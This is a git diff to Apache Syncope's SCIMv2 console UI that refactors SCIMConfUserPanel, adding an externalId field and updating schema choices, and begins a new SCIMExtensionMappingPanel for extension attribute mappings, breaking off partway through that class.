a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfUserPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfUserPanel.java index 44060b8699c..1d8d408b392 100644 --- a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfUserPanel.java +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/SCIMConfUserPanel.java @@ -19,7 +19,6 @@ package org.apache.syncope.client.console.panels; import java.util.ArrayList; -import java.util.Collections; import java.util.List; import org.apache.syncope.client.console.wicket.markup.html.form.MultiFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; @@ -34,10 +33,7 @@ import org.apache.syncope.common.lib.scim.types.IMCanonicalType; import org.apache.syncope.common.lib.scim.types.PhoneNumberCanonicalType; import org.apache.syncope.common.lib.scim.types.PhotoCanonicalType; -import org.apache.wicket.event.IEvent; -import org.apache.wicket.extensions.ajax.markup.html.autocomplete.AutoCompleteSettings; import org.apache.wicket.extensions.markup.html.tabs.AbstractTab; -import org.apache.wicket.extensions.markup.html.tabs.ITab; import org.apache.wicket.markup.html.WebMarkupContainer; import org.apache.wicket.markup.html.basic.Label; import org.apache.wicket.model.Model; @@ -65,162 +61,167 @@ public SCIMConfUserPanel(final String id, final SCIMConf scimConf) { } scimUserConf = scimConf.getUserConf(); - final AutoCompleteSettings settings = new AutoCompleteSettings(); - settings.setShowCompleteListOnFocusGain(true); - settings.setShowListOnEmptyInput(true); - settings.setCssClassName("custom-autocomplete-box"); + AjaxTextFieldPanel externalIdPanel = new AjaxTextFieldPanel( + "externalId", "externalId", new PropertyModel<>("externalId", "externalId") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getExternalId(); + } - AjaxTextFieldPanel displayNamePanel = new AjaxTextFieldPanel("displayName", "displayName", - new PropertyModel<>("displayName", "displayName") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getDisplayName(); - } - - @Override - public void setObject(final String object) { - scimUserConf.setDisplayName(object); - } - - }); - displayNamePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel localePanel = new AjaxTextFieldPanel("locale", "locale", - new PropertyModel<>("locale", "locale") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getLocale(); - } - - @Override - public void setObject(final String object) { - scimUserConf.setLocale(object); - } - - }); - localePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel nickNamePanel = new AjaxTextFieldPanel("nickName", "nickName", - new PropertyModel<>("nickName", "nickName") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getNickName(); - } - - @Override - public void setObject(final String object) { - scimUserConf.setNickName(object); - } - - }); - nickNamePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel preferredLanguagePanel = new AjaxTextFieldPanel("preferredLanguage", "preferredLanguage", - new PropertyModel<>("preferredLanguage", "preferredLanguage") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getPreferredLanguage(); - } - - @Override - public void setObject(final String object) { - scimUserConf.setPreferredLanguage(object); - } - - }); - preferredLanguagePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel profileUrlPanel = new AjaxTextFieldPanel("profileUrl", "profileUrl", - new PropertyModel<>("profileUrl", "profileUrl") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getProfileUrl(); - } - - @Override - public void setObject(final String object) { - scimUserConf.setProfileUrl(object); - } - - }); - profileUrlPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel timezonePanel = new AjaxTextFieldPanel("timezone", "timezone", - new PropertyModel<>("timezone", "timezone") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getTimezone(); - } - - @Override - public void setObject(final String object) { - scimUserConf.setTimezone(object); - } - - }); - timezonePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel titlePanel = new AjaxTextFieldPanel("title", "title", - new PropertyModel<>("title", "title") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getTitle(); - } - - @Override - public void setObject(final String object) { - scimUserConf.setTitle(object); - } - - }); - titlePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel userTypePanel = new AjaxTextFieldPanel("userType", "userType", - new PropertyModel<>("userType", "userType") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getUserType(); - } - - @Override - public void setObject(final String object) { - scimUserConf.setUserType(object); - } - - }); - userTypePanel.setChoices(plainSchemaNames); + @Override + public void setObject(final String object) { + scimUserConf.setExternalId(object); + } + }); + externalIdPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel displayNamePanel = new AjaxTextFieldPanel( + "displayName", "displayName", new PropertyModel<>("displayName", "displayName") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getDisplayName(); + } + + @Override + public void setObject(final String object) { + scimUserConf.setDisplayName(object); + } + }); + displayNamePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel localePanel = new AjaxTextFieldPanel( + "locale", "locale", new PropertyModel<>("locale", "locale") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getLocale(); + } + + @Override + public void setObject(final String object) { + scimUserConf.setLocale(object); + } + }); + localePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel nickNamePanel = new AjaxTextFieldPanel( + "nickName", "nickName", new PropertyModel<>("nickName", "nickName") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getNickName(); + } + + @Override + public void setObject(final String object) { + scimUserConf.setNickName(object); + } + }); + nickNamePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel preferredLanguagePanel = new AjaxTextFieldPanel( + "preferredLanguage", "preferredLanguage", + new PropertyModel<>("preferredLanguage", "preferredLanguage") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getPreferredLanguage(); + } + + @Override + public void setObject(final String object) { + scimUserConf.setPreferredLanguage(object); + } + }); + preferredLanguagePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel profileUrlPanel = new AjaxTextFieldPanel( + "profileUrl", "profileUrl", new PropertyModel<>("profileUrl", "profileUrl") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getProfileUrl(); + } + + @Override + public void setObject(final String object) { + scimUserConf.setProfileUrl(object); + } + }); + profileUrlPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel timezonePanel = new AjaxTextFieldPanel( + "timezone", "timezone", new PropertyModel<>("timezone", "timezone") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getTimezone(); + } + + @Override + public void setObject(final String object) { + scimUserConf.setTimezone(object); + } + }); + timezonePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel titlePanel = new AjaxTextFieldPanel( + "title", "title", new PropertyModel<>("title", "title") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getTitle(); + } + + @Override + public void setObject(final String object) { + scimUserConf.setTitle(object); + } + }); + titlePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel userTypePanel = new AjaxTextFieldPanel( + "userType", "userType", new PropertyModel<>("userType", "userType") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getUserType(); + } + + @Override + public void setObject(final String object) { + scimUserConf.setUserType(object); + } + }); + userTypePanel.setChoices(userPlainSchemas.getObject()); // name buildNameAccordion(); // x509certificates - final AjaxTextFieldPanel x509CertificatesPanel = new AjaxTextFieldPanel("panel", "x509CertificatesPanel", - new Model<>(null)); - x509CertificatesPanel.setChoices(plainSchemaNames); + AjaxTextFieldPanel x509CertificatesPanel = new AjaxTextFieldPanel( + "panel", "x509CertificatesPanel", new Model<>(null)); + x509CertificatesPanel.setChoices(userPlainSchemas.getObject()); MultiFieldPanel x509CertificatesMultiPanel = new MultiFieldPanel.Builder<>( new ListModel<>(scimUserConf.getX509Certificates())).build( "x509Certificates", @@ -250,6 +251,7 @@ public void setObject(final String object) { buildComplexPanels(scimUserConf.getIms(), "imsAccordion", "ims", IMCanonicalType.values()); buildComplexPanels(scimUserConf.getPhotos(), "photosAccordion", "photos", PhotoCanonicalType.values()); + add(externalIdPanel); add(displayNamePanel); add(localePanel); add(nickNamePanel); @@ -267,7 +269,6 @@ public void setObject(final String object) { add(new Label("phoneNumbersLabel", Model.of("phoneNumbers"))); add(new Label("imsLabel", Model.of("ims"))); add(new Label("photosLabel", Model.of("photos"))); - } private > void buildComplexPanels( @@ -293,23 +294,22 @@ private > void buildComplexPanels( } private void buildNameAccordion() { - final Accordion accordion = new Accordion("nameAccordion", - Collections.singletonList(new AbstractTab(Model.of("name")) { + Accordion accordion = new Accordion("nameAccordion", List.of(new AbstractTab(Model.of("name")) { - private static final long serialVersionUID = -5861786415855103549L; + private static final long serialVersionUID = -5861786415855103549L; - @Override - public WebMarkupContainer getPanel(final String panelId) { - return buildNameAccordionContent(panelId); - } + @Override + public WebMarkupContainer getPanel(final String panelId) { + return buildNameAccordionContent(panelId); + } - }), Model.of(-1)); // accordion closed at beginning + }), Model.of(-1)); // accordion closed at beginning add(accordion.setOutputMarkupId(true)); } private void buildAddressAccordion(final SCIMUserAddressConf address, final AddressCanonicalType canonicalType) { Accordion accordion = new Accordion("addressesAccordion_" + address.getType().name(), - Collections.singletonList(new AbstractTab(Model.of("address." + address.getType().name())) { + List.of(new AbstractTab(Model.of("address." + address.getType().name())) { private static final long serialVersionUID = -5861786415855103549L; @@ -317,7 +317,6 @@ private void buildAddressAccordion(final SCIMUserAddressConf address, final Addr public WebMarkupContainer getPanel(final String panelId) { return buildAddressAccordionContent(address, canonicalType, panelId); } - }), Model.of(-1)); // accordion closed at beginning add(accordion.setOutputMarkupId(true)); } @@ -329,7 +328,7 @@ private > void buildComplexAccordion( final T canonicalType) { Accordion accordion = new Accordion(basePanelId + '_' + complex.getType().name(), - Collections.singletonList(new AbstractTab(Model.of(baseTabId + '.' + complex.getType().name())) { + List.of(new AbstractTab(Model.of(baseTabId + '.' + complex.getType().name())) { private static final long serialVersionUID = -5861786415855103549L; @@ -343,115 +342,114 @@ public WebMarkupContainer getPanel(final String panelId) { } private SCIMConfAccordionContainer buildNameAccordionContent(final String panelId) { - final List panelList = new ArrayList<>(); - - AjaxTextFieldPanel nameFamilyNamePanel = new AjaxTextFieldPanel("accordionContent", "name.familyName", - new PropertyModel<>(scimUserConf.getName(), "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getName().getFamilyName(); - } - - @Override - public void setObject(final String object) { - scimUserConf.getName().setFamilyName(object); - } - - }); - nameFamilyNamePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel nameFormattedPanel = new AjaxTextFieldPanel("accordionContent", "name.formatted", - new PropertyModel<>(scimUserConf.getName(), "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getName().getFormatted(); - } - - @Override - public void setObject(final String object) { - scimUserConf.getName().setFormatted(object); - } - - }); - nameFormattedPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel nameGivenNamePanel = new AjaxTextFieldPanel("accordionContent", "name.givenName", - new PropertyModel<>(scimUserConf.getName(), "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getName().getGivenName(); - } - - @Override - public void setObject(final String object) { - scimUserConf.getName().setGivenName(object); - } - - }); - nameGivenNamePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel nameHonorificPrefixPanel = new AjaxTextFieldPanel("accordionContent", "name.honorificPrefix", - new PropertyModel<>(scimUserConf.getName(), "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getName().getHonorificPrefix(); - } - - @Override - public void setObject(final String object) { - scimUserConf.getName().setHonorificPrefix(object); - } - - }); - nameHonorificPrefixPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel nameHonorificSuffixPanel = new AjaxTextFieldPanel("accordionContent", "name.honorificSuffix", - new PropertyModel<>(scimUserConf.getName(), "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getName().getHonorificSuffix(); - } - - @Override - public void setObject(final String object) { - scimUserConf.getName().setHonorificSuffix(object); - } - - }); - nameHonorificSuffixPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel nameMiddleNamePanel = new AjaxTextFieldPanel("accordionContent", "name.middleName", - new PropertyModel<>(scimUserConf.getName(), "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return scimUserConf.getName().getMiddleName(); - } - - @Override - public void setObject(final String object) { - scimUserConf.getName().setMiddleName(object); - } - - }); - nameMiddleNamePanel.setChoices(plainSchemaNames); + List panelList = new ArrayList<>(); + + AjaxTextFieldPanel nameFamilyNamePanel = new AjaxTextFieldPanel( + "accordionContent", "name.familyName", new PropertyModel<>(scimUserConf.getName(), "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getName().getFamilyName(); + } + + @Override + public void setObject(final String object) { + scimUserConf.getName().setFamilyName(object); + } + }); + nameFamilyNamePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel nameFormattedPanel = new AjaxTextFieldPanel( + "accordionContent", "name.formatted", + new PropertyModel<>(scimUserConf.getName(), "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getName().getFormatted(); + } + + @Override + public void setObject(final String object) { + scimUserConf.getName().setFormatted(object); + } + }); + nameFormattedPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel nameGivenNamePanel = new AjaxTextFieldPanel( + "accordionContent", "name.givenName", + new PropertyModel<>(scimUserConf.getName(), "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getName().getGivenName(); + } + + @Override + public void setObject(final String object) { + scimUserConf.getName().setGivenName(object); + } + }); + nameGivenNamePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel nameHonorificPrefixPanel = new AjaxTextFieldPanel( + "accordionContent", "name.honorificPrefix", + new PropertyModel<>(scimUserConf.getName(), "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getName().getHonorificPrefix(); + } + + @Override + public void setObject(final String object) { + scimUserConf.getName().setHonorificPrefix(object); + } + }); + nameHonorificPrefixPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel nameHonorificSuffixPanel = new AjaxTextFieldPanel( + "accordionContent", "name.honorificSuffix", + new PropertyModel<>(scimUserConf.getName(), "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getName().getHonorificSuffix(); + } + + @Override + public void setObject(final String object) { + scimUserConf.getName().setHonorificSuffix(object); + } + }); + nameHonorificSuffixPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel nameMiddleNamePanel = new AjaxTextFieldPanel( + "accordionContent", "name.middleName", + new PropertyModel<>(scimUserConf.getName(), "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return scimUserConf.getName().getMiddleName(); + } + + @Override + public void setObject(final String object) { + scimUserConf.getName().setMiddleName(object); + } + }); + nameMiddleNamePanel.setChoices(userPlainSchemas.getObject()); panelList.add(nameFamilyNamePanel); panelList.add(nameFormattedPanel); @@ -468,61 +466,58 @@ private > SCIMConfAccordionContainer buildComplexAccordionCont final T canonicalType, final String panelId) { - final List panelList = new ArrayList<>(); - final String fieldName = panelId + '.' + canonicalType.name(); - - AjaxTextFieldPanel displayPanel = new AjaxTextFieldPanel("accordionContent", fieldName + ".display", - new PropertyModel<>(complex, "accordionContent") { + List panelList = new ArrayList<>(); + String fieldName = panelId + '.' + canonicalType.name(); - private static final long serialVersionUID = -6427731218492117883L; + AjaxTextFieldPanel displayPanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".display", new PropertyModel<>(complex, "accordionContent") { - @Override - public String getObject() { - return complex.getDisplay(); - } + private static final long serialVersionUID = -6427731218492117883L; - @Override - public void setObject(final String object) { - complex.setDisplay(object); - } + @Override + public String getObject() { + return complex.getDisplay(); + } - }); - displayPanel.setChoices(plainSchemaNames); + @Override + public void setObject(final String object) { + complex.setDisplay(object); + } + }); + displayPanel.setChoices(userPlainSchemas.getObject()); - AjaxTextFieldPanel valuePanel = new AjaxTextFieldPanel("accordionContent", fieldName + ".value", - new PropertyModel<>(complex, "accordionContent") { + AjaxTextFieldPanel valuePanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".value", new PropertyModel<>(complex, "accordionContent") { - private static final long serialVersionUID = -6427731218492117883L; + private static final long serialVersionUID = -6427731218492117883L; - @Override - public String getObject() { - return complex.getValue(); - } + @Override + public String getObject() { + return complex.getValue(); + } - @Override - public void setObject(final String object) { - complex.setValue(object); - } + @Override + public void setObject(final String object) { + complex.setValue(object); + } + }); + valuePanel.setChoices(userPlainSchemas.getObject()); - }); - valuePanel.setChoices(plainSchemaNames); + AjaxTextFieldPanel primaryPanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".primary", new PropertyModel<>(complex, "accordionContent") { - AjaxTextFieldPanel primaryPanel = new AjaxTextFieldPanel("accordionContent", fieldName + ".primary", - new PropertyModel<>(complex, "accordionContent") { + private static final long serialVersionUID = -6427731218492117883L; - private static final long serialVersionUID = -6427731218492117883L; + @Override + public String getObject() { + return String.valueOf(complex.isPrimary()); + } - @Override - public String getObject() { - return String.valueOf(complex.isPrimary()); - } - - @Override - public void setObject(final String object) { - complex.setPrimary(Boolean.valueOf(object)); - } - - }); + @Override + public void setObject(final String object) { + complex.setPrimary(Boolean.parseBoolean(object)); + } + }); primaryPanel.setChoices(List.of("true", "false")); panelList.add(displayPanel); @@ -537,116 +532,109 @@ private SCIMConfAccordionContainer buildAddressAccordionContent( final AddressCanonicalType canonicalType, final String panelId) { - final List panelList = new ArrayList<>(); - final String fieldName = "addresses." + canonicalType.name(); - - AjaxTextFieldPanel addressCountryPanel = new AjaxTextFieldPanel("accordionContent", fieldName + ".country", - new PropertyModel<>(address, "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return address.getCountry(); - } - - @Override - public void setObject(final String object) { - address.setCountry(object); - } - - }); - addressCountryPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel addressFormattedPanel = new AjaxTextFieldPanel("accordionContent", fieldName + ".formatted", - new PropertyModel<>(address, "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return address.getFormatted(); - } - - @Override - public void setObject(final String object) { - address.setFormatted(object); - } - - }); - addressFormattedPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel addressLocalityPanel = new AjaxTextFieldPanel("accordionContent", fieldName + ".locality", - new PropertyModel<>(address, "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return address.getLocality(); - } - - @Override - public void setObject(final String object) { - address.setLocality(object); - } - - }); - addressLocalityPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel addressRegionPanel = new AjaxTextFieldPanel("accordionContent", fieldName + ".region", - new PropertyModel<>(address, "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return address.getRegion(); - } - - @Override - public void setObject(final String object) { - address.setRegion(object); - } - - }); - addressRegionPanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel addressPostalCodePanel = - new AjaxTextFieldPanel("accordionContent", fieldName + ".postalCode", - new PropertyModel<>(address, "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return address.getPostalCode(); - } - - @Override - public void setObject(final String object) { - address.setPostalCode(object); - } - - }); - addressPostalCodePanel.setChoices(plainSchemaNames); - - AjaxTextFieldPanel addressPrimaryPanel = new AjaxTextFieldPanel("accordionContent", fieldName + ".primary", - new PropertyModel<>(address, "accordionContent") { - - private static final long serialVersionUID = -6427731218492117883L; - - @Override - public String getObject() { - return String.valueOf(address.isPrimary()); - } - - @Override - public void setObject(final String object) { - address.setPrimary(Boolean.valueOf(object)); - } - - }); + List panelList = new ArrayList<>(); + String fieldName = "addresses." + canonicalType.name(); + + AjaxTextFieldPanel addressCountryPanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".country", new PropertyModel<>(address, "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return address.getCountry(); + } + + @Override + public void setObject(final String object) { + address.setCountry(object); + } + }); + addressCountryPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel addressFormattedPanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".formatted", new PropertyModel<>(address, "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return address.getFormatted(); + } + + @Override + public void setObject(final String object) { + address.setFormatted(object); + } + }); + addressFormattedPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel addressLocalityPanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".locality", new PropertyModel<>(address, "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return address.getLocality(); + } + + @Override + public void setObject(final String object) { + address.setLocality(object); + } + }); + addressLocalityPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel addressRegionPanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".region", new PropertyModel<>(address, "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return address.getRegion(); + } + + @Override + public void setObject(final String object) { + address.setRegion(object); + } + }); + addressRegionPanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel addressPostalCodePanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".postalCode", new PropertyModel<>(address, "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return address.getPostalCode(); + } + + @Override + public void setObject(final String object) { + address.setPostalCode(object); + } + }); + addressPostalCodePanel.setChoices(userPlainSchemas.getObject()); + + AjaxTextFieldPanel addressPrimaryPanel = new AjaxTextFieldPanel( + "accordionContent", fieldName + ".primary", new PropertyModel<>(address, "accordionContent") { + + private static final long serialVersionUID = -6427731218492117883L; + + @Override + public String getObject() { + return String.valueOf(address.isPrimary()); + } + + @Override + public void setObject(final String object) { + address.setPrimary(Boolean.parseBoolean(object)); + } + }); addressPrimaryPanel.setChoices(List.of("true", "false")); panelList.add(addressCountryPanel); @@ -658,9 +646,4 @@ public void setObject(final String object) { return new SCIMConfAccordionContainer(panelId, panelList); } - - @Override - public void onEvent(final IEvent event) { - super.onEvent(event); - } } diff --git a/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.java b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.java new file mode 100644 index 00000000000..07b43469f86 --- /dev/null +++ b/ext/scimv2/client-console/src/main/java/org/apache/syncope/client/console/panels/mapping/SCIMExtensionMappingPanel.java @@ -0,0 +1,291 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.panels.mapping; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.client.console.init.ClassPathScanImplementationLookup; +import org.apache.syncope.client.console.rest.AnyTypeClassRestClient; +import org.apache.syncope.client.console.rest.AnyTypeRestClient; +import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; +import org.apache.syncope.client.console.wicket.markup.html.form.ActionsPanel; +import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; +import org.apache.syncope.common.lib.scim.SCIMItem; +import org.apache.syncope.common.lib.scim.SCIMReturned; +import org.apache.wicket.ajax.AjaxRequestTarget; +import org.apache.wicket.ajax.markup.html.form.AjaxButton; +import org.apache.wicket.extensions.ajax.markup.html.IndicatingAjaxButton; +import org.apache.wicket.markup.html.WebMarkupContainer; +import org.apache.wicket.markup.html.basic.Label; +import org.apache.wicket.markup.html.list.ListItem; +import org.apache.wicket.markup.html.list.ListView; +import org.apache.wicket.markup.html.panel.Panel; +import org.apache.wicket.model.IModel; +import org.apache.wicket.model.Model; +import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; + +public class SCIMExtensionMappingPanel extends Panel { + + private static final long serialVersionUID = -5268147603868322754L; + + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected AnyTypeClassRestClient anyTypeClassRestClient; + + protected final Label intAttrNameInfo; + + protected final WebMarkupContainer mandatoryHeader; + + protected final Label caseExactLabel; + + protected final Label mutabilityLabel; + + protected final Label returnedLabel; + + protected final Label uniquenessLabel; + + protected final Label multiValuedLabel; + + protected final AjaxButton addMappingBtn; + + protected final ListView mappings; + + protected final WebMarkupContainer mappingContainer; + + protected final String anyTypeKey; + + public SCIMExtensionMappingPanel( + final String id, + final IModel> model, + final String anyTypeKey) { + + super(id); + this.anyTypeKey = anyTypeKey; + setOutputMarkupId(true); + + mappingContainer = new WebMarkupContainer("mappingContainer"); + mappingContainer.setOutputMarkupId(true); + add(mappingContainer); + + intAttrNameInfo = new Label("intAttrNameInfo", Model.of()); + mappingContainer.add(intAttrNameInfo); + + mandatoryHeader = new WebMarkupContainer("mandatoryHeader"); + mandatoryHeader.setOutputMarkupId(true); + mappingContainer.add(mandatoryHeader); + + caseExactLabel = new Label("caseExactLabel", Model.of()); + mappingContainer.add(caseExactLabel); + mutabilityLabel = new Label("mutabilityLabel", Model.of()); + mappingContainer.add(mutabilityLabel); + returnedLabel = new Label("returnedLabel", Model.of()); + mappingContainer.add(returnedLabel); + uniquenessLabel = new Label("uniquenessLabel", Model.of()); + mappingContainer.add(uniquenessLabel); + multiValuedLabel = new Label("multiValuedLabel", Model.of()); + mappingContainer.add(multiValuedLabel); + + mappings = new ListView<>("mappings", model) { + + private static final long serialVersionUID = -8749412138042656239L; + + @Override + protected void populateItem(final ListItem item) { + final SCIMItem itemTO = item.getModelObject(); + + //-------------------------------- + // Internal attribute + // ------------------------------- + AjaxTextFieldPanel intAttrName = new AjaxTextFieldPanel( + "intAttrName", + "intAttrName", + new PropertyModel<>(itemTO, "intAttrName"), + false); + intAttrName.setChoices(List.of()); + intAttrName.setRequired(true).hideLabel(); + item.add(intAttrName); + // ------------------------------- + + //-------------------------------- + // External attribute + // ------------------------------- + AjaxTextFieldPanel extAttrName = new AjaxTextFieldPanel( + "extAttrName", + "extAttrName", + new PropertyModel<>(itemTO, "extAttrName")); + extAttrName.setChoices(getExtAttrNames().getObject()); + + extAttrName.setRequired(true).hideLabel(); + extAttrName.setEnabled(true); + item.add(extAttrName); + // ------------------------------- + + //-------------------------------- + // mandatoryCondition + // ------------------------------- + AjaxCheckBoxPanel mandatoryCondition = new AjaxCheckBoxPanel( + "mandatoryCondition", + "mandatoryCondition", + new PropertyModel<>(itemTO, "mandatoryCondition")); + mandatoryCondition.hideLabel(); + mandatoryCondition.setEnabled(true); + item.add(mandatoryCondition); + // ------------------------------- + + //-------------------------------- + // CaseExact + // ------------------------------- + AjaxCheckBoxPanel caseExact = new AjaxCheckBoxPanel( + "caseExact", + "caseExact", + new PropertyModel<>(itemTO, "caseExact")); + caseExact.hideLabel(); + caseExact.setEnabled(true); + item.add(caseExact); + // ------------------------------- + + //-------------------------------- + // Mutability + // ------------------------------- + AjaxCheckBoxPanel mutability = new AjaxCheckBoxPanel( + "mutability", + "mutability", + new PropertyModel<>(itemTO, "mutability")); + mutability.hideLabel(); + mutability.setEnabled(true); + item.add(mutability); + // ------------------------------- + + //-------------------------------- + // Returned + // ------------------------------- + AjaxDropDownChoicePanel returned = new AjaxDropDownChoicePanel<>( + "returned", + "returned", + new PropertyModel<>(itemTO, "returned")); + returned.hideLabel(); + returned.setChoices(List.of(SCIMReturned.values())); + returned.setEnabled(true); + item.add(returned); + // ------------------------------- + + //-------------------------------- + // Uniqueness + // ------------------------------- + AjaxCheckBoxPanel uniqueness = new AjaxCheckBoxPanel( + "uniqueness", + "uniqueness", + new PropertyModel<>(itemTO, "uniqueness")); + 